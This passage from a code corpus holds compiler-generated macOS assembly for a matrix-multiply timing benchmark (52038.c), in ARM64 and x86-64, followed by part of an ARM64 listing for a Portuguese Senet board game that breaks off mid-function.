w8, pl tbnz w8, #0, LBB1_32 b LBB1_31 LBB1_31: ; in Loop: Header=BB1_27 Depth=1 ldursw x9, [x29, #-124] sub x8, x29, #104 ldr d0, [x8, x9, lsl #3] stur d0, [x29, #-152] b LBB1_32 LBB1_32: ; in Loop: Header=BB1_27 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldursw x10, [x29, #-124] sub x9, x29, #104 ldr d1, [x9, x10, lsl #3] ldr d0, [x8] fadd d0, d0, d1 str d0, [x8] b LBB1_33 LBB1_33: ; in Loop: Header=BB1_27 Depth=1 ldur w8, [x29, #-124] add w8, w8, #1 stur w8, [x29, #-124] b LBB1_27 LBB1_34: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr d0, [x8] fmov d1, #10.00000000 fdiv d0, d0, d1 str d0, [x8] stur wzr, [x29, #-124] b LBB1_35 LBB1_35: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-124] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB1_38 b LBB1_36 LBB1_36: ; in Loop: Header=BB1_35 Depth=1 ldur w8, [x29, #-124] ; implicit-def: $x9 mov x9, x8 ldursw x10, [x29, #-124] sub x8, x29, #104 ldr d0, [x8, x10, lsl #3] mov x8, sp str x9, [x8] str d0, [x8, #8] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB1_37 LBB1_37: ; in Loop: Header=BB1_35 Depth=1 ldur w8, [x29, #-124] add w8, w8, #1 stur w8, [x29, #-124] b LBB1_35 LBB1_38: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr d0, [x8, #8] mov x8, sp str d0, [x8] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf ldur d0, [x29, #-152] mov x8, sp str d0, [x8] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf ldr x8, [sp, #32] ; 8-byte Folded Reload ldr d0, [x8] mov x8, sp str d0, [x8] adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf ldr x8, [sp, #32] ; 8-byte Folded Reload ldr d0, [sp, #160] ldr d1, [x8, #8] fdiv d0, d0, d1 adrp x8, lCPI1_0@PAGE ldr d1, [x8, lCPI1_0@PAGEOFF] str d1, [sp, #16] ; 8-byte Folded Spill fdiv d0, d0, d1 mov x8, sp str d0, [x8] adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf ldr d1, [sp, #16] ; 8-byte Folded Reload ldr d0, [sp, #160] ldur d2, [x29, #-152] fdiv d0, d0, d2 fdiv d0, d0, d1 mov x8, sp str d0, [x8] adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _printf ldr x8, [sp, #32] ; 8-byte Folded Reload ldr d1, [sp, #16] ; 8-byte Folded Reload ldr d0, [sp, #160] ldr d2, [x8] fdiv d0, d0, d2 fdiv d0, d0, d1 mov x8, sp str d0, [x8] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf adrp x0, l_.str.9@PAGE add x0, x0, l_.str.9@PAGEOFF bl _printf adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _printf mov x9, sp mov x8, #4098 str x8, [x9] adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _printf adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _printf adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _printf mov x9, sp mov x8, #10 str x8, [x9] adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _printf mov x9, sp mov x8, #1 str x8, [x9] adrp x0, l_.str.15@PAGE add x0, x0, l_.str.15@PAGEOFF bl _printf ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB1_40 b LBB1_39 LBB1_39: bl ___stack_chk_fail LBB1_40: mov w0, #0 ldp x29, x30, [sp, #336] ; 16-byte Folded Reload ldp x28, x27, [sp, #320] ; 16-byte Folded Reload add sp, sp, #352 ret .cfi_endproc ; -- End function .zerofill __DATA,__bss,_GetWallTime.start,8,3 ; @GetWallTime.start .zerofill __DATA,__bss,_GetWallTime.startu,8,3 ; @GetWallTime.startu .section __TEXT,__cstring,cstring_literals l___func__.main: ; @__func__.main .asciz "main" l_.str: ; @.str .asciz "52038.c" l_.str.1: ; @.str.1 .asciz "__pt_flush_bufferVal < 10" l_.str.2: ; @.str.2 .asciz "time in seconds [%d]: %.15f\n" l_.str.3: ; @.str.3 .asciz "Minimum time in seconds: %.15f\n" l_.str.4: ; @.str.4 .asciz "Maximum time in seconds: %.15f\n" l_.str.5: ; @.str.5 .asciz "Average time in seconds: %.15f\n" l_.str.6: ; @.str.6 .asciz "Maximum MFLOPS: %.15f\n" l_.str.7: ; @.str.7 .asciz "Minimum MFLOPS: %.15f\n" l_.str.8: ; @.str.8 .asciz "Average MFLOPS: %.15f\n" l_.str.9: ; @.str.9 .asciz "Configuration\n-------------\n" l_.str.10: ; @.str.10 .asciz "CPU MHZ: 2160\n" l_.str.11: ; @.str.11 .asciz "Cache Size: %d\n" l_.str.12: ; @.str.12 .asciz "Cache Flush Method: generic\n" l_.str.13: ; @.str.13 .asciz "ARCH: generic\n" l_.str.14: ; @.str.14 .asciz "mt: %d\n" l_.str.15: ; @.str.15 .asciz "Random Seed: %d\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function GetWallTime LCPI0_0: .quad 0x412e848000000000 ## double 1.0E+6 .section __TEXT,__text,regular,pure_instructions .globl _GetWallTime .p2align 4, 0x90 _GetWallTime: ## @GetWallTime .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp cmpq $0, _GetWallTime.start(%rip) jne LBB0_2 ## %bb.1: leaq -24(%rbp), %rdi xorl %eax, %eax movl %eax, %esi callq _gettimeofday movq -24(%rbp), %rax movq %rax, _GetWallTime.start(%rip) movslq -16(%rbp), %rax movq %rax, _GetWallTime.startu(%rip) xorps %xmm0, %xmm0 movsd %xmm0, -8(%rbp) jmp LBB0_3 LBB0_2: leaq -24(%rbp), %rdi xorl %eax, %eax movl %eax, %esi callq _gettimeofday movq -24(%rbp), %rax subq _GetWallTime.start(%rip), %rax cvtsi2sd %rax, %xmm0 movslq -16(%rbp), %rax subq _GetWallTime.startu(%rip), %rax cvtsi2sd %rax, %xmm1 movsd LCPI0_0(%rip), %xmm2 ## xmm2 = mem[0],zero divsd %xmm2, %xmm1 addsd %xmm1, %xmm0 movsd %xmm0, -8(%rbp) LBB0_3: movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function main LCPI1_0: .long 0x3f800000 ## float 1 .section __TEXT,__literal8,8byte_literals .p2align 3 LCPI1_1: .quad 0x4024000000000000 ## double 10 LCPI1_2: .quad 0x412e848000000000 ## double 1.0E+6 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $288, %rsp ## imm = 0x120 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -100(%rbp) movl %edi, -104(%rbp) movq %rsi, -112(%rbp) movl $1, %edi callq _srand movl $200, -204(%rbp) movl $200, -208(%rbp) movl -204(%rbp), %eax movl %eax, -216(%rbp) movl -208(%rbp), %eax movl %eax, -220(%rbp) movss LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -212(%rbp) movl -204(%rbp), %eax imull -204(%rbp), %eax addl $15, %eax movl $16, %ecx cltd idivl %ecx shll $4, %eax movl %eax, -252(%rbp) movslq -252(%rbp), %rdi movl $4, %esi callq _calloc movq %rax, -248(%rbp) movl -204(%rbp), %eax imull -208(%rbp), %eax addl $15, %eax movl $16, %ecx cltd idivl %ecx shll $4, %eax movl %eax, -268(%rbp) movslq -268(%rbp), %rdi movl $4, %esi callq _calloc movq %rax, -264(%rbp) movl $4196352, %edi ## imm = 0x400800 callq _malloc movq %rax, -152(%rbp) movl $0, -172(%rbp) LBB1_1: ## =>This Inner Loop Header: Depth=1 movslq -172(%rbp), %rax cmpq $524544, %rax ## imm = 0x80100 jae LBB1_7 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movl -172(%rbp), %eax movl $3, %ecx cltd idivl %ecx cmpl $2, %edx jne LBB1_4 ## %bb.3: ## in Loop: Header=BB1_1 Depth=1 movl $4294967295, %edx ## imm = 0xFFFFFFFF movl %edx, -272(%rbp) ## 4-byte Spill jmp LBB1_5 LBB1_4: ## in Loop: Header=BB1_1 Depth=1 movl -172(%rbp), %eax movl $2, %ecx cltd idivl %ecx movl %edx, -272(%rbp) ## 4-byte Spill LBB1_5: ## in Loop: Header=BB1_1 Depth=1 movl -272(%rbp), %eax ## 4-byte Reload cvtsi2sd %eax, %xmm0 movq -152(%rbp), %rax movslq -172(%rbp), %rcx movsd %xmm0, (%rax,%rcx,8) ## %bb.6: ## in Loop: Header=BB1_1 Depth=1 movl -172(%rbp), %eax addl $1, %eax movl %eax, -172(%rbp) jmp LBB1_1 LBB1_7: movl $0, -116(%rbp) LBB1_8: ## =>This Loop Header: Depth=1 ## Child Loop BB1_10 Depth 2 ## Child Loop BB1_14 Depth 2 ## Child Loop BB1_18 Depth 2 cmpl $10, -116(%rbp) jge LBB1_26 ## %bb.9: ## in Loop: Header=BB1_8 Depth=1 movl $1, %edi callq _srand movl $0, -172(%rbp) LBB1_10: ## Parent Loop BB1_8 Depth=1 ## => This Inner Loop Header: Depth=2 movl -172(%rbp), %eax cmpl -252(%rbp), %eax jge LBB1_13 ## %bb.11: ## in Loop: Header=BB1_10 Depth=2 callq _rand cvtsi2ss %eax, %xmm0 movq -248(%rbp), %rax movslq -172(%rbp), %rcx movss %xmm0, (%rax,%rcx,4) ## %bb.12: ## in Loop: Header=BB1_10 Depth=2 movl -172(%rbp), %eax addl $1, %eax movl %eax, -172(%rbp) jmp LBB1_10 LBB1_13: ## in Loop: Header=BB1_8 Depth=1 movq -248(%rbp), %rax movq %rax, -232(%rbp) movl $0, -172(%rbp) LBB1_14: ## Parent Loop BB1_8 Depth=1 ## => This Inner Loop Header: Depth=2 movl -172(%rbp), %eax cmpl -268(%rbp), %eax jge LBB1_17 ## %bb.15: ## in Loop: Header=BB1_14 Depth=2 callq _rand cvtsi2ss %eax, %xmm0 movq -264(%rbp), %rax movslq -172(%rbp), %rcx movss %xmm0, (%rax,%rcx,4) ## %bb.16: ## in Loop: Header=BB1_14 Depth=2 movl -172(%rbp), %eax addl $1, %eax movl %eax, -172(%rbp) jmp LBB1_14 LBB1_17: ## in Loop: Header=BB1_8 Depth=1 movq -264(%rbp), %rax movq %rax, -240(%rbp) xorps %xmm0, %xmm0 movsd %xmm0, -160(%rbp) movl $0, -172(%rbp) LBB1_18: ## Parent Loop BB1_8 Depth=1 ## => This Inner Loop Header: Depth=2 movslq -172(%rbp), %rax cmpq $524544, %rax ## imm = 0x80100 jae LBB1_21 ## %bb.19: ## in Loop: Header=BB1_18 Depth=2 movq -152(%rbp), %rax movslq -172(%rbp), %rcx movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero addsd -160(%rbp), %xmm0 movsd %xmm0, -160(%rbp) ## %bb.20: ## in Loop: Header=BB1_18 Depth=2 movl -172(%rbp), %eax addl $1, %eax movl %eax, -172(%rbp) jmp LBB1_18 LBB1_21: ## in Loop: Header=BB1_8 Depth=1 movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd -160(%rbp), %xmm0 seta %al xorb $-1, %al andb $1, %al movzbl %al, %eax cltq cmpq $0, %rax je LBB1_23 ## %bb.22: leaq L___func__.main(%rip), %rdi leaq L_.str(%rip), %rsi leaq L_.str.1(%rip), %rcx movl $122, %edx callq ___assert_rtn LBB1_23: ## in Loop: Header=BB1_8 Depth=1 jmp LBB1_24 LBB1_24: ## in Loop: Header=BB1_8 Depth=1 callq _GetWallTime movsd %xmm0, -192(%rbp) movl -204(%rbp), %edi movl -208(%rbp), %esi movss -212(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movl -216(%rbp), %edx movl -220(%rbp), %ecx movss -224(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero movq -232(%rbp), %r8 movq -240(%rbp), %r9 callq _strmm callq _GetWallTime movsd %xmm0, -200(%rbp) movsd -200(%rbp), %xmm0 ## xmm0 = mem[0],zero subsd -192(%rbp), %xmm0 movslq -116(%rbp), %rax movsd %xmm0, -96(%rbp,%rax,8) ## %bb.25: ## in Loop: Header=BB1_8 Depth=1 movl -116(%rbp), %eax addl $1, %eax movl %eax, -116(%rbp) jmp LBB1_8 LBB1_26: movl -204(%rbp), %eax imull -208(%rbp), %eax movl %eax, -276(%rbp) ## 4-byte Spill movl -204(%rbp), %eax imull -204(%rbp), %eax imull -204(%rbp), %eax movl $2, %ecx cltd idivl %ecx movl %eax, %ecx movl -276(%rbp), %eax ## 4-byte Reload addl %ecx, %eax movl -204(%rbp), %ecx imull -204(%rbp), %ecx addl %ecx, %eax cvtsi2sd %eax, %xmm0 movsd %xmm0, -168(%rbp) movsd -96(%rbp), %xmm0 ## xmm0 = mem[0],zero movsd %xmm0, -128(%rbp) movsd -96(%rbp), %xmm0 ## xmm0 = mem[0],zero movsd %xmm0, -144(%rbp) movsd -96(%rbp), %xmm0 ## xmm0 = mem[0],zero movsd %xmm0, -136(%rbp) movl $1, -116(%rbp) LBB1_27: ## =>This Inner Loop Header: Depth=1 cmpl $10, -116(%rbp) jge LBB1_34 ## %bb.28: ## in Loop: Header=BB1_27 Depth=1 movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero movslq -116(%rbp), %rax ucomisd -96(%rbp,%rax,8), %xmm0 jbe LBB1_30 ## %bb.29: ## in Loop: Header=BB1_27 Depth=1 movslq -116(%rbp), %rax movsd -96(%rbp,%rax,8), %xmm0 ## xmm0 = mem[0],zero movsd %xmm0, -128(%rbp) LBB1_30: ## in Loop: Header=BB1_27 Depth=1 movsd -144(%rbp), %xmm1 ## xmm1 = mem[0],zero movslq -116(%rbp), %rax movsd -96(%rbp,%rax,8), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 jbe LBB1_32 ## %bb.31: ## in Loop: Header=BB1_27 Depth=1 movslq -116(%rbp), %rax movsd -96(%rbp,%rax,8), %xmm0 ## xmm0 = mem[0],zero movsd %xmm0, -144(%rbp) LBB1_32: ## in Loop: Header=BB1_27 Depth=1 movslq -116(%rbp), %rax movsd -96(%rbp,%rax,8), %xmm0 ## xmm0 = mem[0],zero addsd -136(%rbp), %xmm0 movsd %xmm0, -136(%rbp) ## %bb.33: ## in Loop: Header=BB1_27 Depth=1 movl -116(%rbp), %eax addl $1, %eax movl %eax, -116(%rbp) jmp LBB1_27 LBB1_34: movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero divsd %xmm1, %xmm0 movsd %xmm0, -136(%rbp) movl $0, -116(%rbp) LBB1_35: ## =>This Inner Loop Header: Depth=1 cmpl $10, -116(%rbp) jge LBB1_38 ## %bb.36: ## in Loop: Header=BB1_35 Depth=1 movl -116(%rbp), %esi movslq -116(%rbp), %rax movsd -96(%rbp,%rax,8), %xmm0 ## xmm0 = mem[0],zero leaq L_.str.2(%rip), %rdi movb $1, %al callq _printf ## %bb.37: ## in Loop: Header=BB1_35 Depth=1 movl -116(%rbp), %eax addl $1, %eax movl %eax, -116(%rbp) jmp LBB1_35 LBB1_38: movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero leaq L_.str.3(%rip), %rdi movb $1, %al callq _printf movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero leaq L_.str.4(%rip), %rdi movb $1, %al callq _printf movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero leaq L_.str.5(%rip), %rdi movb $1, %al callq _printf movsd -168(%rbp), %xmm0 ## xmm0 = mem[0],zero divsd -128(%rbp), %xmm0 movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero divsd %xmm1, %xmm0 leaq L_.str.6(%rip), %rdi movb $1, %al callq _printf movsd -168(%rbp), %xmm0 ## xmm0 = mem[0],zero divsd -144(%rbp), %xmm0 movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero divsd %xmm1, %xmm0 leaq L_.str.7(%rip), %rdi movb $1, %al callq _printf movsd -168(%rbp), %xmm0 ## xmm0 = mem[0],zero divsd -136(%rbp), %xmm0 movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero divsd %xmm1, %xmm0 leaq L_.str.8(%rip), %rdi movb $1, %al callq _printf leaq L_.str.9(%rip), %rdi movb $0, %al callq _printf leaq L_.str.10(%rip), %rdi movb $0, %al callq _printf leaq L_.str.11(%rip), %rdi movl $4098, %esi ## imm = 0x1002 movb $0, %al callq _printf leaq L_.str.12(%rip), %rdi movb $0, %al callq _printf leaq L_.str.13(%rip), %rdi movb $0, %al callq _printf leaq L_.str.14(%rip), %rdi movl $10, %esi movb $0, %al callq _printf leaq L_.str.15(%rip), %rdi movl $1, %esi movb $0, %al callq _printf movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB1_40 ## %bb.39: xorl %eax, %eax addq $288, %rsp ## imm = 0x120 popq %rbp retq LBB1_40: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .zerofill __DATA,__bss,_GetWallTime.start,8,3 ## @GetWallTime.start .zerofill __DATA,__bss,_GetWallTime.startu,8,3 ## @GetWallTime.startu .section __TEXT,__cstring,cstring_literals L___func__.main: ## @__func__.main .asciz "main" L_.str: ## @.str .asciz "52038.c" L_.str.1: ## @.str.1 .asciz "__pt_flush_bufferVal < 10" L_.str.2: ## @.str.2 .asciz "time in seconds [%d]: %.15f\n" L_.str.3: ## @.str.3 .asciz "Minimum time in seconds: %.15f\n" L_.str.4: ## @.str.4 .asciz "Maximum time in seconds: %.15f\n" L_.str.5: ## @.str.5 .asciz "Average time in seconds: %.15f\n" L_.str.6: ## @.str.6 .asciz "Maximum MFLOPS: %.15f\n" L_.str.7: ## @.str.7 .asciz "Minimum MFLOPS: %.15f\n" L_.str.8: ## @.str.8 .asciz "Average MFLOPS: %.15f\n" L_.str.9: ## @.str.9 .asciz "Configuration\n-------------\n" L_.str.10: ## @.str.10 .asciz "CPU MHZ: 2160\n" L_.str.11: ## @.str.11 .asciz "Cache Size: %d\n" L_.str.12: ## @.str.12 .asciz "Cache Flush Method: generic\n" L_.str.13: ## @.str.13 .asciz "ARCH: generic\n" L_.str.14: ## @.str.14 .asciz "mt: %d\n" L_.str.15: ## @.str.15 .asciz "Random Seed: %d\n" .subsections_via_symbols
the_stack_data/52038.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _Senet ; -- Begin function Senet .p2align 2 _Senet: ; @Senet .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF str x0, [sp, #8] ; 8-byte Folded Spill bl _printf adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf ldr x0, [sp, #8] ; 8-byte Folded Reload bl _printf ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _sorteiaEstilete ; -- Begin function sorteiaEstilete .p2align 2 _sorteiaEstilete: ; @sorteiaEstilete .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov x0, #0 bl _time adrp x8, _a@PAGE str x8, [sp, #16] ; 8-byte Folded Spill ldrsw x8, [x8, _a@PAGEOFF] mul x8, x0, x8 mov x0, x8 bl _srand bl _rand mov w9, #2 str w9, [sp, #8] ; 4-byte Folded Spill sdiv w8, w0, w9 mul w8, w8, w9 subs w8, w0, w8 str w8, [sp] ; 4-byte Folded Spill bl _rand ldr w8, [sp] ; 4-byte Folded Reload ldr w10, [sp, #8] ; 4-byte Folded Reload sdiv w9, w0, w10 mul w9, w9, w10 subs w9, w0, w9 add w8, w8, w9 str w8, [sp, #4] ; 4-byte Folded Spill bl _rand ldr w8, [sp, #4] ; 4-byte Folded Reload ldr w10, [sp, #8] ; 4-byte Folded Reload sdiv w9, w0, w10 mul w9, w9, w10 subs w9, w0, w9 add w8, w8, w9 str w8, [sp, #12] ; 4-byte Folded Spill bl _rand ldr w11, [sp, #8] ; 4-byte Folded Reload ldr w8, [sp, #12] ; 4-byte Folded Reload ldr x9, [sp, #16] ; 8-byte Folded Reload sdiv w10, w0, w11 mul w10, w10, w11 subs w10, w0, w10 add w8, w8, w10 stur w8, [x29, #-4] ldr w8, [x9, _a@PAGEOFF] add w8, w8, #1 str w8, [x9, _a@PAGEOFF] ldur w8, [x29, #-4] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: mov w8, #6 stur w8, [x29, #-4] b LBB1_2 LBB1_2: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _escolhePeca ; -- Begin function escolhePeca .p2align 2 _escolhePeca: ; @escolhePeca .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _i@GOTPAGE ldr x8, [x8, _i@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 mov x9, sp sub x8, x29, #1 str x8, [x9] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _scanf bl _getchar ldursb w8, [x29, #-1] subs w8, w8, #120 cset w8, eq tbnz w8, #0, LBB2_4 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldursb w8, [x29, #-1] subs w8, w8, #111 cset w8, eq tbnz w8, #0, LBB2_4 b LBB2_3 LBB2_3: ; in Loop: Header=BB2_1 Depth=1 adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf b LBB2_4 LBB2_4: ; in Loop: Header=BB2_1 Depth=1 b LBB2_5 LBB2_5: ; in Loop: Header=BB2_1 Depth=1 ldursb w8, [x29, #-1] subs w8, w8, #120 cset w8, eq mov w9, #0 str w9, [sp, #12] ; 4-byte Folded Spill tbnz w8, #0, LBB2_7 b LBB2_6 LBB2_6: ; in Loop: Header=BB2_1 Depth=1 ldursb w8, [x29, #-1] subs w8, w8, #111 cset w8, ne str w8, [sp, #12] ; 4-byte Folded Spill b LBB2_7 LBB2_7: ; in Loop: Header=BB2_1 Depth=1 ldr w8, [sp, #12] ; 4-byte Folded Reload tbnz w8, #0, LBB2_1 b LBB2_8 LBB2_8: ldursb w8, [x29, #-1] subs w8, w8, #120 cset w8, ne tbnz w8, #0, LBB2_14 b LBB2_9 LBB2_9: ldr x8, [sp, #16] ; 8-byte Folded Reload str wzr, [x8] b LBB2_10 LBB2_10: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #30 cset w8, ge tbnz w8, #0, LBB2_13 b LBB2_11 LBB2_11: ; in Loop: Header=BB2_10 Depth=1 ldr x9, [sp, #16] ; 8-byte Folded Reload ldrsw x10, [x9] adrp x8, _x@PAGE add x8, x8, _x@PAGEOFF add x8, x8, x10 ldrb w8, [x8] ldrsw x10, [x9] adrp x9, _m@GOTPAGE ldr x9, [x9, _m@GOTPAGEOFF] add x9, x9, x10 strb w8, [x9] adrp x9, _p@PAGE mov w8, #1 str w8, [x9, _p@PAGEOFF] b LBB2_12 LBB2_12: ; in Loop: Header=BB2_10 Depth=1 ldr x9, [sp, #16] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB2_10 LBB2_13: b LBB2_19 LBB2_14: ldr x8, [sp, #16] ; 8-byte Folded Reload str wzr, [x8] b LBB2_15 LBB2_15: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #30 cset w8, ge tbnz w8, #0, LBB2_18 b LBB2_16 LBB2_16: ; in Loop: Header=BB2_15 Depth=1 ldr x9, [sp, #16] ; 8-byte Folded Reload ldrsw x10, [x9] adrp x8, _o@PAGE add x8, x8, _o@PAGEOFF add x8, x8, x10 ldrb w8, [x8] ldrsw x10, [x9] adrp x9, _m@GOTPAGE ldr x9, [x9, _m@GOTPAGEOFF] add x9, x9, x10 strb w8, [x9] b LBB2_17 LBB2_17: ; in Loop: Header=BB2_15 Depth=1 ldr x9, [sp, #16] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB2_15 LBB2_18: b LBB2_19 LBB2_19: adrp x8, _p@PAGE ldr w0, [x8, _p@PAGEOFF] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _tabuleiro ; -- Begin function tabuleiro .p2align 2 _tabuleiro: ; @tabuleiro .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _i@GOTPAGE ldr x8, [x8, _i@GOTPAGEOFF] stur x8, [x29, #-8] ; 8-byte Folded Spill adrp x8, _m@GOTPAGE ldr x8, [x8, _m@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _system adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _printf ldur x8, [x29, #-8] ; 8-byte Folded Reload str wzr, [x8] b LBB3_1 LBB3_1: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-8] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB3_4 b LBB3_2 LBB3_2: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldur x9, [x29, #-8] ; 8-byte Folded Reload ldrsw x9, [x9] ldrsb w10, [x8, x9] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf b LBB3_3 LBB3_3: ; in Loop: Header=BB3_1 Depth=1 ldur x9, [x29, #-8] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB3_1 LBB3_4: adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf adrp x0, l_.str.9@PAGE add x0, x0, l_.str.9@PAGEOFF bl _printf ldur x9, [x29, #-8] ; 8-byte Folded Reload mov w8, #19 str w8, [x9] b LBB3_5 LBB3_5: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-8] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #10 cset w8, lt tbnz w8, #0, LBB3_8 b LBB3_6 LBB3_6: ; in Loop: Header=BB3_5 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldur x9, [x29, #-8] ; 8-byte Folded Reload ldrsw x9, [x9] ldrsb w10, [x8, x9] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf b LBB3_7 LBB3_7: ; in Loop: Header=BB3_5 Depth=1 ldur x9, [x29, #-8] ; 8-byte Folded Reload ldr w8, [x9] subs w8, w8, #1 str w8, [x9] b LBB3_5 LBB3_8: adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _printf ldur x9, [x29, #-8] ; 8-byte Folded Reload mov w8, #20 str w8, [x9] b LBB3_9 LBB3_9: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-8] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #25 cset w8, ge tbnz w8, #0, LBB3_12 b LBB3_10 LBB3_10: ; in Loop: Header=BB3_9 Depth=1 ldr x8, 